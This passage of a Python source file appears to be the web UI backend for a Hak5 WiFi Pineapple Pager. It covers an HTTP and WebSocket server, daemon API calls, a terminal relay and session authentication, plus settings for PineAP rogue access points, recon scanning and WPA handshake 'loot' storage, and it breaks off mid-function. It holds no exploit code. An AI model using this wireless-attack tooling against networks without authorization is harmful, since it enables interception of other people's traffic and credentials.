7207 lines
266 KiB
Python
7207 lines
266 KiB
Python
#!/usr/bin/env python3
|
|
"""Mark VIII backend. Runs on the device's python3-light (stdlib only, no
|
|
urllib/http.server/sqlite3 modules); the sqlite reads fall back to the
|
|
device's sqlite3 CLI."""
|
|
import base64
|
|
import hashlib
|
|
import json
|
|
import os
|
|
import re
|
|
import select
|
|
import signal
|
|
import socket
|
|
import struct
|
|
import subprocess
|
|
import sys
|
|
import threading
|
|
import time
|
|
|
|
try:
|
|
import sqlite3
|
|
except ImportError:
|
|
sqlite3 = None
|
|
|
|
SQLITE_CLI = os.environ.get('PAGER_SQLITE_CLI', 'sqlite3')
|
|
|
|
DAEMON_BASE = os.environ.get('PAGER_DAEMON', 'http://127.0.0.1:1471')
|
|
DAEMON_SOCK = os.environ.get('PAGER_DAEMON_SOCK', '/tmp/api.sock')
|
|
AF_UNIX = getattr(socket, 'AF_UNIX', 1)
|
|
RECON_DB = os.environ.get('PAGER_RECON_DB', '/root/recon/recon.db')
|
|
LOOT_HS_DIR = os.environ.get('PAGER_LOOT_HS', '/root/loot/handshakes')
|
|
HAK5CMD = os.environ.get('PAGER_HAK5CMD', '/usr/bin/hak5cmd')
|
|
SESSION_FILE = os.environ.get('PAGER_SESSION_FILE', '/tmp/pagerwebui.session')
|
|
PINEAP_STATE_FILE = os.environ.get(
|
|
'PAGER_PINEAP_STATE_FILE',
|
|
os.path.join(os.environ.get('TMPDIR') or os.environ.get('TEMP') or '/tmp',
|
|
'pagerwebui.pineap-state'))
|
|
PAGER_SNAPSHOT_FILE = os.environ.get(
|
|
'PAGER_PAGER_SNAPSHOT',
|
|
os.path.join(os.environ.get('TMPDIR') or os.environ.get('TEMP') or '/tmp',
|
|
'pagerwebui.pager-snapshot.json'))
|
|
# UCI keys Mark VIII may overlay. Daemon-mediated PineAP (SSID pool contents,
|
|
# karma, filters lists) stays with the Pager UI; these keys plus radio1 AP
|
|
# sections are restored on graceful shutdown.
|
|
PAGER_SNAPSHOT_UCI = (
|
|
'pineapd.wlan1mon.hop',
|
|
'pineapd.wlan2mon.disable',
|
|
'pineapd.wlan2mon.hop',
|
|
'pineapd.wlan1mon.bands',
|
|
'pineapd.wlan0mon.bands',
|
|
'pineapd.@ssidpool[0].disable',
|
|
'pineapd.@hostapd[0].mgmtiface',
|
|
'pineapd.@ssid_filter[0].mode',
|
|
'pineapd.@mac_filter[0].mode',
|
|
'wireless.dummy_radio0.disabled',
|
|
'wireless.radio1.channel',
|
|
'wireless.radio1.band',
|
|
'wireless.radio1.htmode',
|
|
'wireless.radio1.country',
|
|
)
|
|
PAGER_SNAPSHOT_IFACES = ('wlan1open', 'wlan1wpa', 'wlan1ent')
|
|
WWW_DIR = os.environ.get('PAGER_WWW_DIR',
|
|
os.path.join(os.path.dirname(os.path.abspath(__file__)), 'www'))
|
|
HOST = os.environ.get('PAGER_HOST', '0.0.0.0')
|
|
PORT = int(os.environ.get('PAGER_PORT', '8080'))
|
|
|
|
_recon_scan_state = {'active': False, 'started': 0, 'duration': 0}
|
|
DEFAULT_RECON_DURATION = 30
|
|
RECON_HOP_INTERVAL = 0.8
|
|
RECON_CHANNELS = {
|
|
'wlan0mon': (1, 6, 11),
|
|
# Avoid DFS channels: changing to one can trigger CAC or fail entirely.
|
|
'wlan1mon': (36, 40, 44, 48, 149, 153, 157, 161, 165),
|
|
}
|
|
_recon_scan_lock = threading.Lock()
|
|
_recon_hopper_stop = threading.Event()
|
|
_recon_hop_state = {
|
|
'active': False, 'error': None, 'warning': None, 'hint': None,
|
|
'ifaces': [], 'skipped': {}, 'borrowed_wlan0': False,
|
|
}
|
|
_recon_scans_cache = {'db': None, 'updated': 0, 'data': {'scans': []}}
|
|
_recon_status_cache = {
|
|
'db': None, 'updated': 0, 'last_scan': None, 'last_activity': None}
|
|
|
|
WIGLE_DIR = os.environ.get('PAGER_WIGLE_DIR', '/root/loot/wigle')
|
|
GPSD_CONFIG = os.environ.get('PAGER_GPSD_CONFIG', '/etc/config/gpsd')
|
|
GPSD_INIT = os.environ.get('PAGER_GPSD_INIT', '/etc/init.d/gpsd')
|
|
SERIAL_DIR = os.environ.get('PAGER_SERIAL_DIR', '/dev/serial/by-path')
|
|
GPS_CACHE_SECONDS = 5.0
|
|
|
|
_gps_cache = {'updated': 0, 'data': None}
|
|
_gps_lock = threading.Lock()
|
|
_payload_runs = {}
|
|
_payload_runs_lock = threading.Lock()
|
|
_daemon_sock_lock = threading.Lock()
|
|
_pineapd_cmd_lock = threading.Lock()
|
|
DAEMON_SOCK_RETRIES = 2
|
|
DAEMON_SOCK_RETRY_SLEEP = 0.05
|
|
HAK5_RETRIES = 2
|
|
HAK5_RETRY_SLEEP = 0.05
|
|
PAYLOAD_RUN_DIR = os.environ.get('PAGER_PAYLOAD_RUN_DIR', '/tmp/pagerwebui-payload-runs')
|
|
PAYLOAD_ROOTS = tuple(os.path.realpath(path) for path in
|
|
os.environ.get('PAGER_PAYLOAD_ROOTS',
|
|
'/root/payloads:/mmc/root/payloads').split(':') if path)
|
|
SELF_PAYLOAD_DIR = os.path.realpath(os.path.dirname(os.path.abspath(__file__)))
|
|
SELF_PAYLOAD_KEY = os.environ.get('PAGER_SELF_PAYLOAD_KEY', 'user~remote_access~pager-webui')
|
|
|
|
|
|
def device_run(args, timeout=20, input_data=None):
|
|
try:
|
|
p = subprocess.run(args, input=input_data, capture_output=True, timeout=timeout)
|
|
return p.returncode, p.stdout.decode('utf-8', 'replace'), p.stderr.decode('utf-8', 'replace')
|
|
except FileNotFoundError:
|
|
return 127, '', 'not found'
|
|
except subprocess.TimeoutExpired as exc:
|
|
out = exc.stdout if exc.stdout is not None else b''
|
|
err = exc.stderr if exc.stderr is not None else b''
|
|
if not isinstance(out, str):
|
|
out = out.decode('utf-8', 'replace')
|
|
if not isinstance(err, str):
|
|
err = err.decode('utf-8', 'replace')
|
|
return 124, out, err or 'timeout'
|
|
|
|
|
|
def _daemon_addr():
|
|
base = DAEMON_BASE.replace('http://', '').split('?', 1)[0]
|
|
if ':' in base:
|
|
host, port = base.rsplit(':', 1)
|
|
return host, int(port)
|
|
return base, 80
|
|
|
|
|
|
def _retry_status0(fn):
|
|
"""Retry a (status, payload) call when the peer never answered (status 0)."""
|
|
last = (0, None)
|
|
attempts = max(1, DAEMON_SOCK_RETRIES + 1)
|
|
for attempt in range(attempts):
|
|
last = fn()
|
|
if last[0] != 0:
|
|
return last
|
|
if attempt + 1 < attempts and DAEMON_SOCK_RETRY_SLEEP:
|
|
time.sleep(DAEMON_SOCK_RETRY_SLEEP * (attempt + 1))
|
|
return last
|
|
|
|
|
|
def daemon_call(method, path, body=None, token=None, timeout=15):
|
|
return _retry_status0(
|
|
lambda: _daemon_call_once(method, path, body=body, token=token, timeout=timeout))
|
|
|
|
|
|
def _daemon_call_once(method, path, body=None, token=None, timeout=15):
|
|
host, port = _daemon_addr()
|
|
data = json.dumps(body).encode() if body is not None else None
|
|
lines = ['%s %s HTTP/1.1' % (method, path), 'Host: %s:%d' % (host, port),
|
|
'Accept: application/json', 'Connection: close']
|
|
if data is not None:
|
|
lines.append('Content-Type: application/json')
|
|
lines.append('Content-Length: %d' % len(data))
|
|
if token:
|
|
lines.append('Authorization: Bearer ' + token)
|
|
req = ('\r\n'.join(lines) + '\r\n\r\n').encode('ascii') + (data or b'')
|
|
try:
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
sock.settimeout(timeout)
|
|
sock.connect((host, port))
|
|
sock.sendall(req)
|
|
resp = b''
|
|
while True:
|
|
chunk = sock.recv(65536)
|
|
if not chunk:
|
|
break
|
|
resp += chunk
|
|
sock.close()
|
|
except OSError:
|
|
return 0, None
|
|
head, _, payload = resp.partition(b'\r\n\r\n')
|
|
if not head:
|
|
return 0, None
|
|
try:
|
|
status = int(head.split(b' ', 2)[1])
|
|
except (IndexError, ValueError):
|
|
return 0, None
|
|
headers = {}
|
|
for hline in head.split(b'\r\n')[1:]:
|
|
name, _, value = hline.decode('latin-1').partition(':')
|
|
headers[name.strip().lower()] = value.strip()
|
|
if headers.get('transfer-encoding', '').lower() == 'chunked':
|
|
decoded = bytearray()
|
|
rest = payload
|
|
try:
|
|
while rest:
|
|
size_line, sep, rest = rest.partition(b'\r\n')
|
|
if not sep:
|
|
raise ValueError('missing chunk delimiter')
|
|
size = int(size_line.split(b';', 1)[0], 16)
|
|
if size == 0:
|
|
break
|
|
if len(rest) < size + 2:
|
|
raise ValueError('short chunk')
|
|
decoded.extend(rest[:size])
|
|
rest = rest[size + 2:]
|
|
payload = bytes(decoded)
|
|
except (ValueError, IndexError):
|
|
return status, payload
|
|
if 'json' in headers.get('content-type', ''):
|
|
try:
|
|
return status, json.loads(payload.decode('utf-8', 'replace'))
|
|
except Exception:
|
|
return status, payload
|
|
return status, payload
|
|
|
|
|
|
def daemon_sock_call(method, path, body=None, timeout=10):
|
|
"""Raw HTTP/1.1 request to the daemon's local unix-socket API. Returns (status, json|None)."""
|
|
def once():
|
|
with _daemon_sock_lock:
|
|
return _daemon_sock_once(method, path, body=body, timeout=timeout)
|
|
return _retry_status0(once)
|
|
|
|
|
|
def _daemon_sock_once(method, path, body=None, timeout=10):
|
|
"""One unix-socket HTTP attempt. Returns (status, json|None)."""
|
|
data = json.dumps(body).encode() if body is not None else None
|
|
lines = ['%s %s HTTP/1.1' % (method, path), 'Host: localhost', 'Connection: close']
|
|
if data is not None:
|
|
lines += ['Content-Type: application/json', 'Content-Length: %d' % len(data)]
|
|
req = ('\r\n'.join(lines) + '\r\n\r\n').encode('ascii') + (data or b'')
|
|
sock = None
|
|
try:
|
|
sock = socket.socket(AF_UNIX, socket.SOCK_STREAM)
|
|
sock.settimeout(timeout)
|
|
sock.connect(DAEMON_SOCK)
|
|
sock.sendall(req)
|
|
resp = b''
|
|
while True:
|
|
chunk = sock.recv(65536)
|
|
if not chunk:
|
|
break
|
|
resp += chunk
|
|
except OSError:
|
|
return 0, None
|
|
finally:
|
|
if sock is not None:
|
|
try:
|
|
sock.close()
|
|
except OSError:
|
|
pass
|
|
head, _, payload = resp.partition(b'\r\n\r\n')
|
|
try:
|
|
status = int(head.split(b'\r\n', 1)[0].split(b' ', 2)[1])
|
|
except (IndexError, ValueError):
|
|
return 0, None
|
|
try:
|
|
data = json.loads(payload)
|
|
except Exception:
|
|
data = None
|
|
return status, data
|
|
|
|
|
|
class Router:
|
|
def __init__(self):
|
|
self.routes = []
|
|
|
|
def add(self, method, pattern, handler):
|
|
self.routes.append((method, re.compile('^' + pattern + '$'), handler))
|
|
|
|
def dispatch(self, method, path):
|
|
for m, rx, h in self.routes:
|
|
if m == method:
|
|
mm = rx.match(path)
|
|
if mm:
|
|
return h, mm.groups()
|
|
return None, None
|
|
|
|
|
|
ROUTER = Router()
|
|
|
|
|
|
def _safe_join(base, rel):
|
|
base = os.path.abspath(base)
|
|
full = os.path.abspath(os.path.join(base, rel))
|
|
if full == base or not full.startswith(base + os.sep):
|
|
return None
|
|
return full
|
|
|
|
|
|
class Download:
|
|
def __init__(self, data, ctype, filename=None):
|
|
self.data = data
|
|
self.ctype = ctype
|
|
self.filename = filename
|
|
|
|
def send(self, handler, status=200):
|
|
handler.send_response(status)
|
|
handler.send_header('Content-Type', self.ctype)
|
|
if self.filename:
|
|
safe = re.sub(r'[\r\n"]', '_', self.filename)
|
|
handler.send_header('Content-Disposition', 'attachment; filename="%s"' % safe)
|
|
handler.send_header('Content-Length', str(len(self.data)))
|
|
handler.send_header('Cache-Control', 'no-cache')
|
|
for name, value in getattr(handler, 'extra_headers', []):
|
|
handler.send_header(name, value)
|
|
handler.end_headers()
|
|
handler.connection.sendall(self.data)
|
|
|
|
|
|
def _json_default(obj):
|
|
"""Make sqlite BLOBs JSON-safe (hex) so enterprise captures never 500."""
|
|
if isinstance(obj, memoryview):
|
|
obj = obj.tobytes()
|
|
if isinstance(obj, (bytes, bytearray)):
|
|
return bytes(obj).hex()
|
|
raise TypeError('%r is not JSON serializable' % (obj,))
|
|
|
|
|
|
def _unquote_plus(s):
|
|
s = s.replace('+', ' ')
|
|
return re.sub(r'%([0-9A-Fa-f]{2})', lambda m: chr(int(m.group(1), 16)), s)
|
|
|
|
|
|
def _parse_qsl(qs):
|
|
result = []
|
|
for pair in qs.split('&'):
|
|
if not pair:
|
|
continue
|
|
k, _, v = pair.partition('=')
|
|
result.append((_unquote_plus(k), _unquote_plus(v)))
|
|
return result
|
|
|
|
|
|
class _Ctx:
|
|
def __init__(self, handler, groups):
|
|
self.h = handler
|
|
self.args = groups
|
|
self.query = dict(_parse_qsl(handler.path.split('?', 1)[1])) if '?' in handler.path else {}
|
|
|
|
@property
|
|
def cookie(self):
|
|
return self.h.headers.get('cookie', '') or ''
|
|
|
|
@property
|
|
def body(self):
|
|
raw = getattr(self.h, 'body', b'')
|
|
if not raw:
|
|
return {}
|
|
try:
|
|
return json.loads(raw.decode('utf-8'))
|
|
except Exception:
|
|
return {}
|
|
|
|
|
|
WS_GUID = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'
|
|
|
|
|
|
def ws_handshake_reply(key):
|
|
accept = base64.b64encode(hashlib.sha1((key + WS_GUID).encode('ascii')).digest()).decode('ascii')
|
|
return ('HTTP/1.1 101 Switching Protocols\r\n'
|
|
'Upgrade: websocket\r\n'
|
|
'Connection: Upgrade\r\n'
|
|
'Sec-WebSocket-Accept: ' + accept + '\r\n\r\n').encode('ascii')
|
|
|
|
|
|
def ws_encode(payload, opcode=0x1, mask=False):
|
|
header = bytearray([0x80 | opcode])
|
|
n = len(payload)
|
|
if n < 126:
|
|
header.append(0x80 | n if mask else n)
|
|
elif n < 65536:
|
|
header.append(0x80 | 126 if mask else 126)
|
|
header += struct.pack('>H', n)
|
|
else:
|
|
header.append(0x80 | 127 if mask else 127)
|
|
header += struct.pack('>Q', n)
|
|
if mask:
|
|
mask_bytes = os.urandom(4)
|
|
header += mask_bytes
|
|
payload = bytes(b ^ mask_bytes[i % 4] for i, b in enumerate(payload))
|
|
return bytes(header) + payload
|
|
|
|
|
|
def ws_decode_frame(buf):
|
|
if len(buf) < 2:
|
|
return None, b'', 0
|
|
opcode = buf[0] & 0x0F
|
|
masked = bool(buf[1] & 0x80)
|
|
length = buf[1] & 0x7F
|
|
off = 2
|
|
if length == 126:
|
|
if len(buf) < 4:
|
|
return None, b'', 0
|
|
length = struct.unpack('>H', buf[2:4])[0]
|
|
off = 4
|
|
elif length == 127:
|
|
if len(buf) < 10:
|
|
return None, b'', 0
|
|
length = struct.unpack('>Q', buf[2:10])[0]
|
|
off = 10
|
|
if masked:
|
|
if len(buf) < off + 4:
|
|
return None, b'', 0
|
|
mask = buf[off:off + 4]
|
|
off += 4
|
|
if len(buf) < off + length:
|
|
return None, b'', 0
|
|
payload = buf[off:off + length]
|
|
if masked:
|
|
payload = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
|
|
return opcode, payload, off + length
|
|
|
|
|
|
def _relay_drain(buf, chunk):
|
|
"""Append chunk to buf, decode complete frames, return (remaining_buf, frames, closed).
|
|
frames is a list of (opcode, payload) for text/binary frames; closed True on a close frame."""
|
|
buf += chunk
|
|
frames = []
|
|
closed = False
|
|
off = 0
|
|
while off < len(buf):
|
|
op, payload, used = ws_decode_frame(buf[off:])
|
|
if used == 0:
|
|
break
|
|
off += used
|
|
if op in (0x1, 0x2):
|
|
frames.append((op, payload))
|
|
elif op == 0x8:
|
|
closed = True
|
|
break
|
|
return buf[off:], frames, closed
|
|
|
|
|
|
class WSPool:
|
|
def __init__(self):
|
|
self.clients = []
|
|
self.lock = threading.Lock()
|
|
|
|
def add(self, sock):
|
|
with self.lock:
|
|
self.clients.append(sock)
|
|
|
|
def remove(self, sock):
|
|
with self.lock:
|
|
if sock in self.clients:
|
|
self.clients.remove(sock)
|
|
|
|
def broadcast(self, payload_bytes):
|
|
dead = []
|
|
with self.lock:
|
|
for c in list(self.clients):
|
|
try:
|
|
c.sendall(payload_bytes)
|
|
except Exception:
|
|
dead.append(c)
|
|
for c in dead:
|
|
if c in self.clients:
|
|
self.clients.remove(c)
|
|
|
|
|
|
WS_POOL = WSPool()
|
|
LIVE_STOP = threading.Event()
|
|
|
|
|
|
def live_loop():
|
|
while not LIVE_STOP.is_set():
|
|
time.sleep(2)
|
|
if not WS_POOL.clients:
|
|
continue
|
|
# status_data() already performs the relatively expensive iwinfo
|
|
# association scan. Reuse that snapshot instead of immediately
|
|
# running the same commands a second time for every live tick.
|
|
status = status_data()
|
|
tick = {'type': 'tick', 'status': status, 'clients': status.get('clients', [])}
|
|
WS_POOL.broadcast(ws_encode(json.dumps(tick).encode()))
|
|
|
|
|
|
_REASONS = {200: 'OK', 204: 'No Content', 400: 'Bad Request', 401: 'Unauthorized',
|
|
403: 'Forbidden', 404: 'Not Found', 500: 'Internal Server Error',
|
|
502: 'Bad Gateway'}
|
|
|
|
|
|
def same_origin(headers):
|
|
"""Allow non-browser clients, but reject browser requests from another origin."""
|
|
host = (headers.get('host', '') or '').strip().lower()
|
|
if not host:
|
|
return False
|
|
source = (headers.get('origin', '') or '').strip()
|
|
if not source:
|
|
source = (headers.get('referer', '') or '').strip()
|
|
if not source:
|
|
return True
|
|
match = re.match(r'^https?://([^/]+)(?:/|$)', source, re.I)
|
|
return bool(match and match.group(1).lower() == host)
|
|
|
|
|
|
class _Headers(dict):
|
|
def _lk(self, key):
|
|
return key.lower() if isinstance(key, str) else key
|
|
|
|
def __getitem__(self, key):
|
|
return dict.__getitem__(self, self._lk(key))
|
|
|
|
def __contains__(self, key):
|
|
return dict.__contains__(self, self._lk(key))
|
|
|
|
def get(self, key, default=None):
|
|
return dict.get(self, self._lk(key), default)
|
|
|
|
|
|
class PagerHandler:
|
|
def __init__(self, conn, addr):
|
|
self.connection = conn
|
|
self.addr = addr
|
|
self.extra_headers = []
|
|
self.close_connection = False
|
|
self.command = None
|
|
self.path = None
|
|
self.headers = {}
|
|
self.body = b''
|
|
self._buf = b''
|
|
|
|
def _readline(self):
|
|
while b'\n' not in self._buf:
|
|
chunk = self.connection.recv(4096)
|
|
if not chunk:
|
|
return None
|
|
self._buf += chunk
|
|
line, self._buf = self._buf.split(b'\n', 1)
|
|
return line.rstrip(b'\r')
|
|
|
|
def read_request(self):
|
|
line = self._readline()
|
|
if line is None or not line:
|
|
return False
|
|
parts = line.decode('latin-1').split(' ')
|
|
if len(parts) != 3:
|
|
return False
|
|
self.command, self.path, version = parts
|
|
headers = _Headers()
|
|
while True:
|
|
h = self._readline()
|
|
if h is None:
|
|
return False
|
|
if not h:
|
|
break
|
|
name, _, value = h.decode('latin-1').partition(':')
|
|
headers[name.strip().lower()] = value.strip()
|
|
self.headers = headers
|
|
try:
|
|
length = int(headers.get('content-length', '0') or '0')
|
|
except ValueError:
|
|
length = 0
|
|
if length > 0:
|
|
while len(self._buf) < length:
|
|
chunk = self.connection.recv(65536)
|
|
if not chunk:
|
|
return False
|
|
self._buf += chunk
|
|
self.body = self._buf[:length]
|
|
self._buf = self._buf[length:]
|
|
else:
|
|
self.body = b''
|
|
conn_tok = headers.get('connection', '').lower()
|
|
if version == 'HTTP/1.0':
|
|
self.close_connection = conn_tok != 'keep-alive'
|
|
else:
|
|
self.close_connection = conn_tok == 'close'
|
|
return True
|
|
|
|
def send_response(self, status, reason=''):
|
|
reason = reason or _REASONS.get(status, '')
|
|
self.connection.sendall(('HTTP/1.1 %d %s\r\n' % (status, reason)).encode('latin-1'))
|
|
|
|
def send_header(self, name, value):
|
|
self.connection.sendall(('%s: %s\r\n' % (name, value)).encode('latin-1'))
|
|
|
|
def end_headers(self):
|
|
self.connection.sendall(b'\r\n')
|
|
|
|
def _dispatch(self):
|
|
if not same_origin(self.headers):
|
|
self._fail(403, 'cross-origin request rejected')
|
|
return
|
|
if self.command == 'OPTIONS':
|
|
self.send_response(204)
|
|
self.send_header('Allow', 'GET, POST, DELETE, OPTIONS')
|
|
self.end_headers()
|
|
return
|
|
self._route(self.command)
|
|
|
|
def add_extra_header(self, name, value):
|
|
if not hasattr(self, 'extra_headers'):
|
|
self.extra_headers = []
|
|
self.extra_headers.append((name, value))
|
|
|
|
def _security_headers(self):
|
|
self.send_header('X-Content-Type-Options', 'nosniff')
|
|
self.send_header('X-Frame-Options', 'DENY')
|
|
self.send_header('Referrer-Policy', 'same-origin')
|
|
self.send_header(
|
|
'Content-Security-Policy',
|
|
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; "
|
|
"img-src 'self' data: blob:; connect-src 'self' ws: wss:; "
|
|
"object-src 'none'; base-uri 'none'; frame-ancestors 'none'")
|
|
|
|
def _json(self, obj, status=200, close=False):
|
|
body = json.dumps(obj, default=_json_default).encode()
|
|
self.send_response(status)
|
|
self.send_header('Content-Type', 'application/json')
|
|
self.send_header('Content-Length', str(len(body)))
|
|
self.send_header('Cache-Control', 'no-cache')
|
|
self._security_headers()
|
|
if close:
|
|
self.close_connection = True
|
|
self.send_header('Connection', 'close')
|
|
for name, value in getattr(self, 'extra_headers', []):
|
|
self.send_header(name, value)
|
|
self.end_headers()
|
|
self.connection.sendall(body)
|
|
|
|
def _fail(self, status, message):
|
|
self._json({'error': message}, status, close=True)
|
|
|
|
def _serve_static(self, path):
|
|
rel = path.lstrip('/')
|
|
if not rel:
|
|
rel = 'index.html'
|
|
rel = rel.replace('\\', '/')
|
|
if '..' in rel.split('/'):
|
|
return False
|
|
full = _safe_join(WWW_DIR, rel)
|
|
if not full or not os.path.isfile(full):
|
|
return False
|
|
ctype = {
|
|
'.html': 'text/html', '.js': 'text/javascript', '.css': 'text/css',
|
|
'.png': 'image/png', '.svg': 'image/svg+xml', '.json': 'application/json',
|
|
'.map': 'application/json', '.woff2': 'font/woff2',
|
|
}.get(os.path.splitext(full)[1], 'application/octet-stream')
|
|
with open(full, 'rb') as f:
|
|
data = f.read()
|
|
self.send_response(200)
|
|
self.send_header('Content-Type', ctype)
|
|
self.send_header('Content-Length', str(len(data)))
|
|
self.send_header('Cache-Control', 'no-cache')
|
|
self._security_headers()
|
|
self.end_headers()
|
|
self.connection.sendall(data)
|
|
return True
|
|
|
|
def _route(self, method):
|
|
path = self.path.split('?', 1)[0]
|
|
if self.headers.get('Upgrade', '').lower() == 'websocket':
|
|
self._ws_accept()
|
|
return
|
|
handler, groups = ROUTER.dispatch(method, path)
|
|
if handler is None:
|
|
if method == 'GET' and self._serve_static(path):
|
|
return
|
|
self._fail(404, 'not found')
|
|
return
|
|
if method != 'POST' or path not in ('/api/login', '/mcp'):
|
|
if not check_auth(self.headers.get('Cookie', '') or ''):
|
|
self._fail(401, 'unauthorized')
|
|
return
|
|
ctx = _Ctx(self, groups)
|
|
try:
|
|
result = handler(ctx)
|
|
except Exception as e:
|
|
self._fail(500, str(e))
|
|
return
|
|
if result is None:
|
|
return
|
|
status, payload = result
|
|
if isinstance(payload, Download):
|
|
payload.send(self, status)
|
|
else:
|
|
self._json(payload, status)
|
|
|
|
def _ws_accept(self):
|
|
self.close_connection = True
|
|
if not same_origin(self.headers):
|
|
return self._fail(403, 'cross-origin websocket rejected')
|
|
path = self.path.split('?', 1)[0]
|
|
if path == '/api/terminal/openWs':
|
|
return self._ws_relay_daemon('/api/terminal/openWs')
|
|
if path in ('/api/pager/display/screen.ws', '/api/pager/input/keys.ws'):
|
|
return self._ws_relay_daemon(path)
|
|
if path != '/api/ws':
|
|
return self._fail(404, 'not found')
|
|
if not check_auth(self.headers.get('Cookie', '') or ''):
|
|
return self._fail(401, 'unauthorized')
|
|
key = self.headers.get('Sec-WebSocket-Key', '')
|
|
self.connection.sendall(ws_handshake_reply(key))
|
|
WS_POOL.add(self.connection)
|
|
try:
|
|
while True:
|
|
opcode, payload = self._ws_read_frame()
|
|
if opcode is None or opcode == 0x8:
|
|
break
|
|
if opcode == 0x9:
|
|
self.connection.sendall(ws_encode(payload, opcode=0xA))
|
|
finally:
|
|
WS_POOL.remove(self.connection)
|
|
try:
|
|
self.connection.close()
|
|
except OSError:
|
|
pass
|
|
|
|
def _ws_read_frame(self):
|
|
hdr = self._recv_exact(2)
|
|
if hdr is None:
|
|
return None, b''
|
|
length = hdr[1] & 0x7F
|
|
if length == 126:
|
|
ext = self._recv_exact(2)
|
|
if ext is None:
|
|
return None, b''
|
|
length = struct.unpack('>H', ext)[0]
|
|
elif length == 127:
|
|
ext = self._recv_exact(8)
|
|
if ext is None:
|
|
return None, b''
|
|
length = struct.unpack('>Q', ext)[0]
|
|
masked = bool(hdr[1] & 0x80)
|
|
mask = self._recv_exact(4) if masked else b''
|
|
payload = self._recv_exact(length)
|
|
if payload is None:
|
|
return None, b''
|
|
if masked:
|
|
payload = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
|
|
return hdr[0] & 0x0F, payload
|
|
|
|
def _recv_exact(self, n):
|
|
buf = b''
|
|
while len(buf) < n:
|
|
chunk = self.connection.recv(n - len(buf))
|
|
if not chunk:
|
|
return None
|
|
buf += chunk
|
|
return buf
|
|
|
|
def _ws_relay_daemon(self, daemon_path):
|
|
if not check_auth(self.headers.get('Cookie', '') or ''):
|
|
return self._fail(401, 'unauthorized')
|
|
key = self.headers.get('Sec-WebSocket-Key', '')
|
|
self.connection.sendall(ws_handshake_reply(key))
|
|
daemon_sock, err = _daemon_ws_connect(daemon_path)
|
|
if err:
|
|
try:
|
|
self.connection.sendall(ws_encode(('relay error: ' + err).encode(), opcode=0x1))
|
|
except OSError:
|
|
pass
|
|
try:
|
|
self.connection.close()
|
|
except OSError:
|
|
pass
|
|
return
|
|
self.connection.settimeout(5)
|
|
daemon_sock.setblocking(False)
|
|
import select
|
|
buf = b''
|
|
try:
|
|
while True:
|
|
rlist, _, _ = select.select([self.connection, daemon_sock], [], [], 5)
|
|
for s in rlist:
|
|
if s is daemon_sock:
|
|
try:
|
|
chunk = daemon_sock.recv(65536)
|
|
except (BlockingIOError, InterruptedError):
|
|
continue
|
|
if not chunk:
|
|
return
|
|
# daemon frames may be masked per its own framing; decode then forward unmasked
|
|
buf, frames, closed = _relay_drain(buf, chunk)
|
|
for op, payload in frames:
|
|
self.connection.sendall(ws_encode(payload, opcode=op))
|
|
if closed:
|
|
return
|
|
else:
|
|
try:
|
|
opcode, payload = self._ws_read_frame()
|
|
except (OSError, socket.timeout):
|
|
continue
|
|
if opcode is None or opcode == 0x8:
|
|
return
|
|
if opcode in (0x1, 0x2, 0x9):
|
|
try:
|
|
daemon_sock.sendall(ws_encode(payload, opcode=opcode, mask=True))
|
|
except OSError:
|
|
return
|
|
finally:
|
|
try:
|
|
daemon_sock.close()
|
|
except OSError:
|
|
pass
|
|
try:
|
|
self.connection.close()
|
|
except OSError:
|
|
pass
|
|
|
|
|
|
def load_session():
|
|
try:
|
|
os.chmod(SESSION_FILE, 0o600)
|
|
with open(SESSION_FILE) as f:
|
|
return json.load(f)
|
|
except Exception:
|
|
return {}
|
|
|
|
|
|
def save_session(session):
|
|
tmp = SESSION_FILE + '.tmp'
|
|
fd = os.open(tmp, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
|
|
with os.fdopen(fd, 'w') as f:
|
|
json.dump(session, f)
|
|
os.chmod(tmp, 0o600)
|
|
os.replace(tmp, SESSION_FILE)
|
|
os.chmod(SESSION_FILE, 0o600)
|
|
|
|
|
|
def current_token():
|
|
return load_session().get('token', '')
|
|
|
|
|
|
def current_serverid():
|
|
return load_session().get('serverid', '')
|
|
|
|
|
|
def check_auth(cookie_header):
|
|
if not cookie_header:
|
|
return False
|
|
session = load_session()
|
|
serverid = session.get('serverid', '')
|
|
token = session.get('token', '')
|
|
if not serverid or not token:
|
|
return False
|
|
expected = 'AUTH_%s=%s' % (serverid, token)
|
|
for entry in cookie_header.split(';'):
|
|
if entry.strip() == expected:
|
|
return True
|
|
return False
|
|
|
|
|
|
def h_login(ctx):
|
|
username = (ctx.body or {}).get('username', '')
|
|
password = (ctx.body or {}).get('password', '')
|
|
status, data = daemon_call('POST', '/api/login', body={'username': username, 'password': password})
|
|
if status != 200 or not isinstance(data, dict) or 'token' not in data:
|
|
return 401, {'error': 'login failed'}
|
|
token = data['token']
|
|
pstatus, ping = daemon_call('GET', '/api/api_ping', token=token)
|
|
serverid = ping.get('serverid', '') if isinstance(ping, dict) else ''
|
|
save_session({'serverid': serverid, 'token': token, 'created': int(time.time())})
|
|
ctx.h.add_extra_header('Set-Cookie', 'AUTH_%s=%s; Path=/; HttpOnly; SameSite=Strict' % (serverid, token))
|
|
return 200, {'ok': True, 'serverid': serverid}
|
|
|
|
|
|
def h_logout(ctx):
|
|
serverid = current_serverid()
|
|
try:
|
|
os.unlink(SESSION_FILE)
|
|
except OSError:
|
|
pass
|
|
cookie_name = 'AUTH_%s' % serverid if serverid else 'AUTH'
|
|
ctx.h.add_extra_header(
|
|
'Set-Cookie', '%s=; Path=/; HttpOnly; SameSite=Strict; Max-Age=0' % cookie_name)
|
|
return 200, {'ok': True}
|
|
|
|
|
|
def h_api_ping(ctx):
|
|
token = current_token()
|
|
status, data = daemon_call('GET', '/api/api_ping', token=token)
|
|
if status != 200 or not isinstance(data, dict):
|
|
return 502, {'error': 'daemon unreachable'}
|
|
return 200, data
|
|
|
|
|
|
def battery_data(power_supply='/sys/class/power_supply'):
|
|
try:
|
|
for name in sorted(os.listdir(power_supply)):
|
|
try:
|
|
with open(os.path.join(power_supply, name, 'type')) as f:
|
|
typ = f.read().strip()
|
|
except OSError:
|
|
continue
|
|
if typ != 'Battery':
|
|
continue
|
|
level = None
|
|
cap = os.path.join(power_supply, name, 'capacity')
|
|
if os.path.exists(cap):
|
|
try:
|
|
with open(cap) as f:
|
|
level = int(f.read().strip())
|
|
